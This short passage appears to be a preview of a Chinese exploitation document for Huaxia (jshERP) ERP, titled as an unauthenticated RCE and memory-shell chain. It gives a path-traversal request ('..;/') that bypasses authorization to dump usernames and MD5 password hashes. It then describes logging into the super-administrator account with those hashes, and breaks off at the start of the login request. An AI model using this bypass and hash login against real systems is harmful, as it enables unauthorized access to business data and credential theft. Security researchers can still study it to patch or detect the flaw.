华夏erp渗透利用.docxVIP

华夏ERP全版本未授权RCE

华夏ERP全版本未授权RCE及内存马注入-李白你好()

权限绕过S

目前最新版V3.3

GET?/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList?HTTP/1.1

通过getAllList读取用户名，密码MD5值。

hash登录

使用读取得密码MD5值登录超级管理员后台。

POST/jshERP-boot/user/loginHTTP/1.1

Host:IP

Content-Length:67

Accept:application/json